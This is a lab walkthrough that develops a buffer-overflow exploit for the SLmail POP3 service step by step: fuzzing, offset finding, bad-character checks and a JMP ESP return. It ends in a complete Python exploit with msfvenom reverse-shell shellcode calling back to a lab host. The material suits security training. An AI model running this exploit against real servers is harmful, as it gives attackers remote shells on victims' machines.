SLmail B.O

SLmail example buffer overflow

The below code will send at incremental rate bytes to the server running the vulnerable copy of the SLmail software and check at which position is crashing.

#!/usr/bin/python
import socket

# Create an array of buffers, while incrementing them 

buffer=["A"]
counter=100

while len(buffer) <= 30:
	buffer.append("A"*counter)
	counter=counter+200

for string in buffer:
	print "Fuzzing PASS with %s byter" % len(string)
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	connect=s.connect(('10.10.10.20',110))
	s.recv(1024)
	s.send('USER test\r\n')
	s.recv(1024)
	s.send('PASS ' + string + '\r\n')
	s.send('QUIT\r\n')
	s.close()

Open up the Immunity Debugger and attach the SLmail to it.

Run the code above against it and we can see that around 2700 bytes long the software crashes and no longer running according to the Immunity debugger.

So with the above image we can see that the EIP has been overwritten completely with our A's. By slightly changing the code we can make sure that around 2700 the software crushes. Change the following code to have only 2700 A's this time to replicate and validate the crash.

#!/usr/bin/python

# Generate 2700 A's and send them to the POP3 SLMail server
# Replication of Fuzzing buffer overflow

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "A" * 2700

try:
	print "\nSending evil Buffer..."
	s.connect(('10.10.10.20',110))
	data = s.recv(1024)
	s.send('USER username' +'\r\n')
	data = s.recv(1024)
	s.send('PASS ' + buffer + '\r\n')
	print "\nDone!"
except:
	print "Could not connect to POP3"

At this point we know that we can crash the software at around 2700 bytes long but by the time of the crash we are not sure at the address of the EIP. The module patter_create.rb comes to the rescue.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700

Once this is generated, replace the A's above with the pattern in our code as shown below.

#!/usr/bin/python

# Generate 2700 A's and send them to the POP3 SLMail server
# Replication of Fuzzing buffer overflow

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9"

try:
	print "\nSending evil Buffer..."
	s.connect(('10.10.10.20',110))
	data = s.recv(1024)
	s.send('USER username' +'\r\n')
	data = s.recv(1024)
	s.send('PASS ' + buffer + '\r\n')
	print "\nDone!"
except:
	print "Could not connect to POP3"

Running this against our SLmail software after attaching it to our Immunity we can make a note the address of EIP by the time of the crash.

Another module comes to the rescue and let us know the exact location of that EIP address.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2700 -q 39694438
[*] Exact match at offset 2606

We know by now that at 2606 bytes we are overwriting the EIP address with 39694438. This can be done for our verification with the following code.

#!/usr/bin/python

# Generate 2700 A's and send them to the POP3 SLMail server
# Replication of Fuzzing buffer overflow

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "A" * 2606 + "B" * 4 + "C" * 90

try:
	print "\nSending evil Buffer..."
	s.connect(('10.10.10.20',110))
	data = s.recv(1024)
	s.send('USER username' +'\r\n')
	data = s.recv(1024)
	s.send('PASS ' + buffer + '\r\n')
	print "\nDone!"
except:
	print "Could not connect to POP3"

By running this against SLmail we can make sure that the number of B's are at location 2606 bytes long.

Identify the Bad Characters

Several characters are causing an issue when we include them into our shellcode. A list of characters can be found on the Buffer Overflow section. We have identify that those bad characters on this instance are the following.

Badchar 0x00

Badchar 0x0A

Badchar 0x0D

So at this stage our script should be like the following. (exclude the bad characters found above)

#!/usr/bin/python

# Generate 2700 A's and send them to the POP3 SLMail server
# Replication of Fuzzing buffer overflow

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

buffer = "A" * 2606 + "B" * 4 + badchars 

try:
	print "\nSending evil Buffer..."
	s.connect(('10.10.10.20',110))
	data = s.recv(1024)
	s.send('USER username' +'\r\n')
	data = s.recv(1024)
	s.send('PASS ' + buffer + '\r\n')
	print "\nDone!"
except:
	print "Could not connect to POP3"

What we need is a way to point to the ESP so we can redirect the execution of our shellcode. From the following images we can see the JMP ESP that it is usable for our exploit.

Another way of finding the JMP ESP is to use mona with the following command.

!mona jmp -r esp -cpb "\x00"

This will find it excluding badchar \x00.

Once we update our script with the JMP ESP value we found above our buffer at this stage will be the following:

As noticed we have increased the length of our buffer to accommodate the shellcode which is normally around 350 bytes long. We executed and set a break point on it and follow the execution as shown in the next image.

We can see that we have successfully replace the value of EIP with that of ESP on our next image. That means we are ready to include our shellcode and set it to be executed.

What is left to do is to generate the shellcode that we will use to get a reverse shell.

msfvenom:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.154 LPORT=443\
-f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -a x86 --platform windows

Copy and paste the outcome of the msfvenom command above within our script. The end result will look like this. It is recommended to place some NOPS before the beginning of our shellcode in order to give some space before execution.

#!/usr/bin/python

# Generate 2700 A's and send them to the POP3 SLMail server
# Replication of Fuzzing buffer overflow

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

shellcode = ( "\xbd\xab\xed\x38\x98\xda\xdd\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x52\x31\x6b\x12\x83\xc3\x04\x03\xc0\xe3\xda\x6d\xea\x14\x98"
"\x8e\x12\xe5\xfd\x07\xf7\xd4\x3d\x73\x7c\x46\x8e\xf7\xd0\x6b"
"\x65\x55\xc0\xf8\x0b\x72\xe7\x49\xa1\xa4\xc6\x4a\x9a\x95\x49"
"\xc9\xe1\xc9\xa9\xf0\x29\x1c\xa8\x35\x57\xed\xf8\xee\x13\x40"
"\xec\x9b\x6e\x59\x87\xd0\x7f\xd9\x74\xa0\x7e\xc8\x2b\xba\xd8"
"\xca\xca\x6f\x51\x43\xd4\x6c\x5c\x1d\x6f\x46\x2a\x9c\xb9\x96"
"\xd3\x33\x84\x16\x26\x4d\xc1\x91\xd9\x38\x3b\xe2\x64\x3b\xf8"
"\x98\xb2\xce\x1a\x3a\x30\x68\xc6\xba\x95\xef\x8d\xb1\x52\x7b"
"\xc9\xd5\x65\xa8\x62\xe1\xee\x4f\xa4\x63\xb4\x6b\x60\x2f\x6e"
"\x15\x31\x95\xc1\x2a\x21\x76\xbd\x8e\x2a\x9b\xaa\xa2\x71\xf4"
"\x1f\x8f\x89\x04\x08\x98\xfa\x36\x97\x32\x94\x7a\x50\x9d\x63"
"\x7c\x4b\x59\xfb\x83\x74\x9a\xd2\x47\x20\xca\x4c\x61\x49\x81"
"\x8c\x8e\x9c\x06\xdc\x20\x4f\xe7\x8c\x80\x3f\x8f\xc6\x0e\x1f"
"\xaf\xe9\xc4\x08\x5a\x10\x8f\x3c\x91\x10\xd5\x29\xa7\x24\xe8"
"\x12\x2e\xc2\x80\x74\x67\x5d\x3d\xec\x22\x15\xdc\xf1\xf8\x50"
"\xde\x7a\x0f\xa5\x91\x8a\x7a\xb5\x46\x7b\x31\xe7\xc1\x84\xef"
"\x8f\x8e\x17\x74\x4f\xd8\x0b\x23\x18\x8d\xfa\x3a\xcc\x23\xa4"
"\x94\xf2\xb9\x30\xde\xb6\x65\x81\xe1\x37\xeb\xbd\xc5\x27\x35"
"\x3d\x42\x13\xe9\x68\x1c\xcd\x4f\xc3\xee\xa7\x19\xb8\xb8\x2f"
"\xdf\xf2\x7a\x29\xe0\xde\x0c\xd5\x51\xb7\x48\xea\x5e\x5f\x5d"
"\x93\x82\xff\xa2\x4e\x07\x0f\xe9\xd2\x2e\x98\xb4\x87\x72\xc5"
"\x46\x72\xb0\xf0\xc4\x76\x49\x07\xd4\xf3\x4c\x43\x52\xe8\x3c"
"\xdc\x37\x0e\x92\xdd\x1d" )

buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "\x90" * 16 + shellcode + "C" * ( 3500 - 2606 - 4 - 351 - 16 ) 

try:
	print "\nSending evil Buffer..."
	s.connect(('10.10.10.20',110))
	data = s.recv(1024)
	s.send('USER username' +'\r\n')
	data = s.recv(1024)
	s.send('PASS ' + buffer + '\r\n')
	print "\nDone!"
except:
	print "Could not connect to POP3"

EXITFUNC

Add a EXITFUNC=thread on the msfvenom payload creation to avoid having to restart the vulnerable app each time.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.154 LPORT=443 -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -a x86 --platform windows EXITFUNC=thread

Last updated